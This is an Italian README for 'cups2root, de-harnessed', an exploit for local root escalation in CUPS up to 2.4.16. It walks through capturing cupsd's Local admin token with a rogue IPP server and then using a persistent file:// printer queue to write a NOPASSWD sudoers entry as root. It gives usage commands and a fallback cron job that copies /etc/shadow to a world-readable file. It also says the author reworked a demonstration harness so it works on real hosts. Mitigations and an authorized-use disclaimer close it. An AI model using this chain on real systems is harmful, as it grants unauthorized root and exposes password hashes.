
Escalation locale di privilegi contro un `cupsd` root.
cups2root, de-harnessed)CVSS 3.x : 8.4 HIGH (approssimativo — verificare)
CWE : CWE-287 (Autenticazione Impropria) + CWE-269 (Gestione Impropria dei Privilegi)
Fix : CUPS 2.4.17+
Interessa: CUPS ≤ 2.4.16 con cupsd in esecuzione come root e 631 raggiungibile localmente
Escalation locale di privilegi contro un cupsd root. Quando viene costretto ad agire come
client IPP verso un server locale malevolo, cupsd risponde a una sfida 401 WWW-Authenticate: Local
riproducendo il proprio token di amministratore. Catturare quel token consente a un utente non privilegiato
di pilotare cupsd come admin (root). Una coda di stampa file:// persistente (printer-is-temporary=false)
aggira la policy FileDevice, così un Print-Job raw scrive i byte dell'attaccante in qualsiasi percorso come
root — qui un frammento sudoers NOPASSWD.
Due primitive si concatenano in una scrittura arbitraria di file come root:
Local riutilizzabile. cupsd accetta un'autenticazione Local supportata da un
certificato root sotto /run/cups/certs/. Agendo come client IPP, offre volontariamente quel token
admin quando viene sfidato con 401 WWW-Authenticate: Local. Punta cupsd verso un falso server IPP
che controlli e catturi un token valido per pilotarlo come root.file:// come device-uri viene rifiutato di default. Creare la coda
con printer-is-temporary=false la rende persistente e aggira quella protezione; un Print-Job raw
scrive quindi i suoi byte direttamente nel file di destinazione, come root. cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T> è il token admin di cupsd stesso — riproducilo contro /admin/ e sei equivalente a root.
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
Il PoC di riferimento (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager) è un harness dimostrativo: viene
eseguito come root, avvia un proprio cupsd e un utente unpriv usa e getta, poi sudo -u unpriv per
simulare l'attaccante. Inutilizzabile così com'è. Modifiche:
127.0.0.1:631.$ATTACKER); frammento <user> ALL=(ALL) NOPASSWD: ALL.ipptool / lpadmin / lpinfo / cupsctl| Stato | Versioni |
|---|---|
| Vulnerabile | CUPS ≤ 2.4.16 |
| Corretta | CUPS 2.4.17 e successive |
| File | Ruolo |
|---|---|
exploit.py | PoC: token leak → coda file:// → Print-Job raw → sudoers root |
README.md | Questo file |
Solo libreria standard di Python 3 — nessuna dipendenza.
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
In caso di successo:
[+] Local token: <token>
[+] ROOT via sudoers
poi sudo -i.
cupsd come root dove evitabile; ridurre i privilegi / sandboxare il servizio.Local e il backend di dispositivo file://; mantenere la policy FileDevice
applicata per le code persistenti.systemctl disable --now cups cups-browsed e rimuovere il
pacchetto.Questo progetto è solo per test di sicurezza autorizzati, formazione e ricerca difensiva. Sei responsabile del rispetto delle leggi applicabili e delle regole di ingaggio del tuo laboratorio o cliente.